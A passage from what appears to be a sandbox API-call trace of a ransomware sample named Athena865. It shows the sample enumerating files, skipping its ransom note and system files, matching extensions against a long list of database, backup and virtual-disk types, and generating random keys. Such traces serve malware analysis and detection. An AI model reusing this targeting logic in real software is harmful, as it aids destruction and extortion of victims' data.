dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.380] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1596) returned 1 [0121.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.380] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.381] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.381] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.381] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x940, lpName=0x0) returned 0x154 [0121.384] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x940) returned 0x100000 [0121.384] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.385] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.385] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.386] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.386] CloseHandle (hObject=0x154) returned 1 [0121.386] CloseHandle (hObject=0x17c) returned 1 [0121.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.386] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0121.386] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.386] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.386] lstrcmpiW (lpString1="AN01060_.WMF", lpString2=".") returned 1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="..") returned 1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="windows") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="bootmgr") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="temp") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="pagefile.sys") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="boot") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="ids.txt") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="ntuser.dat") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="perflogs") returned -1 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="MSBuild") returned -1 [0121.387] lstrlenW (lpString="AN01060_.WMF") returned 12 [0121.387] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01060_.WMF" | out: lpString1="AN01060_.WMF") returned="AN01060_.WMF" [0121.387] lstrlenW (lpString="AN01060_.WMF") returned 12 [0121.387] lstrlenW (lpString="Athena865") returned 9 [0121.387] lstrcmpiW (lpString1="1060_.WMF", lpString2="Athena865") returned -1 [0121.387] lstrlenW (lpString=".dll") returned 4 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2=".dll") returned 1 [0121.387] lstrlenW (lpString=".lnk") returned 4 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2=".lnk") returned 1 [0121.387] lstrlenW (lpString=".ini") returned 4 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2=".ini") returned 1 [0121.387] lstrlenW (lpString=".sys") returned 4 [0121.387] lstrcmpiW (lpString1="AN01060_.WMF", lpString2=".sys") returned 1 [0121.387] lstrlenW (lpString="AN01060_.WMF") returned 12 [0121.387] lstrlenW (lpString="bak") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0121.388] lstrlenW (lpString="ba_") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0121.388] lstrlenW (lpString="dbb") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0121.388] lstrlenW (lpString="vmdk") returned 4 [0121.388] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0121.388] lstrlenW (lpString="rar") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0121.388] lstrlenW (lpString="zip") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0121.388] lstrlenW (lpString="tgz") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0121.388] lstrlenW (lpString="vbox") returned 4 [0121.388] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0121.388] lstrlenW (lpString="vdi") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0121.388] lstrlenW (lpString="vhd") returned 3 [0121.388] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0121.388] lstrlenW (lpString="vhdx") returned 4 [0121.388] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0121.388] lstrlenW (lpString="avhd") returned 4 [0121.388] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0121.388] lstrlenW (lpString="db") returned 2 [0121.388] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0121.388] lstrlenW (lpString="db2") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0121.389] lstrlenW (lpString="db3") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0121.389] lstrlenW (lpString="dbf") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0121.389] lstrlenW (lpString="mdf") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0121.389] lstrlenW (lpString="mdb") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0121.389] lstrlenW (lpString="sql") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0121.389] lstrlenW (lpString="sqlite") returned 6 [0121.389] lstrcmpiW (lpString1="0_.WMF", lpString2="sqlite") returned -1 [0121.389] lstrlenW (lpString="sqlite3") returned 7 [0121.389] lstrcmpiW (lpString1="60_.WMF", lpString2="sqlite3") returned -1 [0121.389] lstrlenW (lpString="sqlitedb") returned 8 [0121.389] lstrcmpiW (lpString1="060_.WMF", lpString2="sqlitedb") returned -1 [0121.389] lstrlenW (lpString="xml") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0121.389] lstrlenW (lpString="$er") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0121.389] lstrlenW (lpString="4dd") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0121.389] lstrlenW (lpString="4dl") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0121.389] lstrlenW (lpString="^^^") returned 3 [0121.389] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0121.389] lstrlenW (lpString="abs") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0121.390] lstrlenW (lpString="abx") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0121.390] lstrlenW (lpString="accdb") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0121.390] lstrlenW (lpString="accdc") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0121.390] lstrlenW (lpString="accde") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0121.390] lstrlenW (lpString="accdr") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0121.390] lstrlenW (lpString="accdt") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0121.390] lstrlenW (lpString="accdw") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0121.390] lstrlenW (lpString="accft") returned 5 [0121.390] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0121.390] lstrlenW (lpString="adb") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.390] lstrlenW (lpString="adb") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.390] lstrlenW (lpString="ade") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0121.390] lstrlenW (lpString="adf") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0121.390] lstrlenW (lpString="adn") returned 3 [0121.390] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0121.391] lstrlenW (lpString="adp") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0121.391] lstrlenW (lpString="alf") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0121.391] lstrlenW (lpString="ask") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0121.391] lstrlenW (lpString="btr") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0121.391] lstrlenW (lpString="cat") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0121.391] lstrlenW (lpString="cdb") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0121.391] lstrlenW (lpString="ckp") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0121.391] lstrlenW (lpString="cma") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0121.391] lstrlenW (lpString="cpd") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0121.391] lstrlenW (lpString="dacpac") returned 6 [0121.391] lstrcmpiW (lpString1="0_.WMF", lpString2="dacpac") returned -1 [0121.391] lstrlenW (lpString="dad") returned 3 [0121.391] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0121.391] lstrlenW (lpString="dadiagrams") returned 10 [0121.391] lstrcmpiW (lpString1="01060_.WMF", lpString2="dadiagrams") returned -1 [0121.391] lstrlenW (lpString="daschema") returned 8 [0121.391] lstrcmpiW (lpString1="060_.WMF", lpString2="daschema") returned -1 [0121.391] lstrlenW (lpString="db-journal") returned 10 [0121.392] lstrcmpiW (lpString1="01060_.WMF", lpString2="db-journal") returned -1 [0121.392] lstrlenW (lpString="db-shm") returned 6 [0121.392] lstrcmpiW (lpString1="0_.WMF", lpString2="db-shm") returned -1 [0121.392] lstrlenW (lpString="db-wal") returned 6 [0121.392] lstrcmpiW (lpString1="0_.WMF", lpString2="db-wal") returned -1 [0121.392] lstrlenW (lpString="dbc") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0121.392] lstrlenW (lpString="dbs") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0121.392] lstrlenW (lpString="dbt") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0121.392] lstrlenW (lpString="dbv") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0121.392] lstrlenW (lpString="dbx") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0121.392] lstrlenW (lpString="dcb") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0121.392] lstrlenW (lpString="dct") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0121.392] lstrlenW (lpString="dcx") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0121.392] lstrlenW (lpString="ddl") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0121.392] lstrlenW (lpString="dlis") returned 4 [0121.392] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0121.392] lstrlenW (lpString="dp1") returned 3 [0121.392] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0121.393] lstrlenW (lpString="dqy") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0121.393] lstrlenW (lpString="dsk") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0121.393] lstrlenW (lpString="dsn") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0121.393] lstrlenW (lpString="dtsx") returned 4 [0121.393] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0121.393] lstrlenW (lpString="dxl") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0121.393] lstrlenW (lpString="eco") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0121.393] lstrlenW (lpString="ecx") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0121.393] lstrlenW (lpString="edb") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0121.393] lstrlenW (lpString="epim") returned 4 [0121.393] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0121.393] lstrlenW (lpString="fcd") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0121.393] lstrlenW (lpString="fdb") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0121.393] lstrlenW (lpString="fic") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0121.393] lstrlenW (lpString="flexolibrary") returned 12 [0121.393] lstrlenW (lpString="fm5") returned 3 [0121.393] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0121.393] lstrlenW (lpString="fmp") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0121.394] lstrlenW (lpString="fmp12") returned 5 [0121.394] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0121.394] lstrlenW (lpString="fmpsl") returned 5 [0121.394] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0121.394] lstrlenW (lpString="fol") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0121.394] lstrlenW (lpString="fp3") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0121.394] lstrlenW (lpString="fp4") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0121.394] lstrlenW (lpString="fp5") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0121.394] lstrlenW (lpString="fp7") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0121.394] lstrlenW (lpString="fpt") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0121.394] lstrlenW (lpString="frm") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0121.394] lstrlenW (lpString="gdb") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0121.394] lstrlenW (lpString="gdb") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0121.394] lstrlenW (lpString="grdb") returned 4 [0121.394] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0121.394] lstrlenW (lpString="gwi") returned 3 [0121.394] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0121.394] lstrlenW (lpString="hdb") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0121.395] lstrlenW (lpString="his") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0121.395] lstrlenW (lpString="ib") returned 2 [0121.395] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0121.395] lstrlenW (lpString="idb") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0121.395] lstrlenW (lpString="ihx") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0121.395] lstrlenW (lpString="itdb") returned 4 [0121.395] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0121.395] lstrlenW (lpString="itw") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0121.395] lstrlenW (lpString="jet") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0121.395] lstrlenW (lpString="jtx") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0121.395] lstrlenW (lpString="kdb") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0121.395] lstrlenW (lpString="kexi") returned 4 [0121.395] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0121.395] lstrlenW (lpString="kexic") returned 5 [0121.395] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0121.395] lstrlenW (lpString="kexis") returned 5 [0121.395] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0121.395] lstrlenW (lpString="lgc") returned 3 [0121.395] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0121.396] lstrlenW (lpString="lwx") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0121.396] lstrlenW (lpString="maf") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0121.396] lstrlenW (lpString="maq") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0121.396] lstrlenW (lpString="mar") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0121.396] lstrlenW (lpString="marshal") returned 7 [0121.396] lstrcmpiW (lpString1="60_.WMF", lpString2="marshal") returned -1 [0121.396] lstrlenW (lpString="mas") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0121.396] lstrlenW (lpString="mav") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0121.396] lstrlenW (lpString="maw") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0121.396] lstrlenW (lpString="mdbhtml") returned 7 [0121.396] lstrcmpiW (lpString1="60_.WMF", lpString2="mdbhtml") returned -1 [0121.396] lstrlenW (lpString="mdn") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0121.396] lstrlenW (lpString="mdt") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0121.396] lstrlenW (lpString="mfd") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0121.396] lstrlenW (lpString="mpd") returned 3 [0121.396] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0121.396] lstrlenW (lpString="mrg") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0121.397] lstrlenW (lpString="mud") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0121.397] lstrlenW (lpString="mwb") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0121.397] lstrlenW (lpString="myd") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0121.397] lstrlenW (lpString="ndf") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0121.397] lstrlenW (lpString="nnt") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0121.397] lstrlenW (lpString="nrmlib") returned 6 [0121.397] lstrcmpiW (lpString1="0_.WMF", lpString2="nrmlib") returned -1 [0121.397] lstrlenW (lpString="ns2") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0121.397] lstrlenW (lpString="ns3") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0121.397] lstrlenW (lpString="ns4") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0121.397] lstrlenW (lpString="nsf") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0121.397] lstrlenW (lpString="nv") returned 2 [0121.397] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0121.397] lstrlenW (lpString="nv2") returned 3 [0121.397] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0121.397] lstrlenW (lpString="nwdb") returned 4 [0121.397] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0121.397] lstrlenW (lpString="nyf") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0121.398] lstrlenW (lpString="odb") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0121.398] lstrlenW (lpString="odb") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0121.398] lstrlenW (lpString="oqy") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0121.398] lstrlenW (lpString="ora") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0121.398] lstrlenW (lpString="orx") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0121.398] lstrlenW (lpString="owc") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0121.398] lstrlenW (lpString="p96") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0121.398] lstrlenW (lpString="p97") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0121.398] lstrlenW (lpString="pan") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0121.398] lstrlenW (lpString="pdb") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0121.398] lstrlenW (lpString="pdm") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0121.398] lstrlenW (lpString="pnz") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0121.398] lstrlenW (lpString="qry") returned 3 [0121.398] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0121.399] lstrlenW (lpString="qvd") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0121.399] lstrlenW (lpString="rbf") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0121.399] lstrlenW (lpString="rctd") returned 4 [0121.399] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0121.399] lstrlenW (lpString="rod") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0121.399] lstrlenW (lpString="rodx") returned 4 [0121.399] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0121.399] lstrlenW (lpString="rpd") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0121.399] lstrlenW (lpString="rsd") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0121.399] lstrlenW (lpString="sas7bdat") returned 8 [0121.399] lstrcmpiW (lpString1="060_.WMF", lpString2="sas7bdat") returned -1 [0121.399] lstrlenW (lpString="sbf") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0121.399] lstrlenW (lpString="scx") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0121.399] lstrlenW (lpString="sdb") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0121.399] lstrlenW (lpString="sdc") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0121.399] lstrlenW (lpString="sdf") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0121.399] lstrlenW (lpString="sis") returned 3 [0121.399] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0121.400] lstrlenW (lpString="spq") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0121.400] lstrlenW (lpString="te") returned 2 [0121.400] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0121.400] lstrlenW (lpString="teacher") returned 7 [0121.400] lstrcmpiW (lpString1="60_.WMF", lpString2="teacher") returned -1 [0121.400] lstrlenW (lpString="tmd") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0121.400] lstrlenW (lpString="tps") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0121.400] lstrlenW (lpString="trc") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0121.400] lstrlenW (lpString="trc") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0121.400] lstrlenW (lpString="trm") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0121.400] lstrlenW (lpString="udb") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0121.400] lstrlenW (lpString="udl") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0121.400] lstrlenW (lpString="usr") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0121.400] lstrlenW (lpString="v12") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0121.400] lstrlenW (lpString="vis") returned 3 [0121.400] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0121.400] lstrlenW (lpString="vpd") returned 3 [0121.401] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0121.401] lstrlenW (lpString="vvv") returned 3 [0121.401] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0121.401] lstrlenW (lpString="wdb") returned 3 [0121.401] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0121.401] lstrlenW (lpString="wmdb") returned 4 [0121.401] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0121.401] lstrlenW (lpString="wrk") returned 3 [0121.401] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0121.401] lstrlenW (lpString="xdb") returned 3 [0121.401] lstrcmpiW (lpString1="WMF", 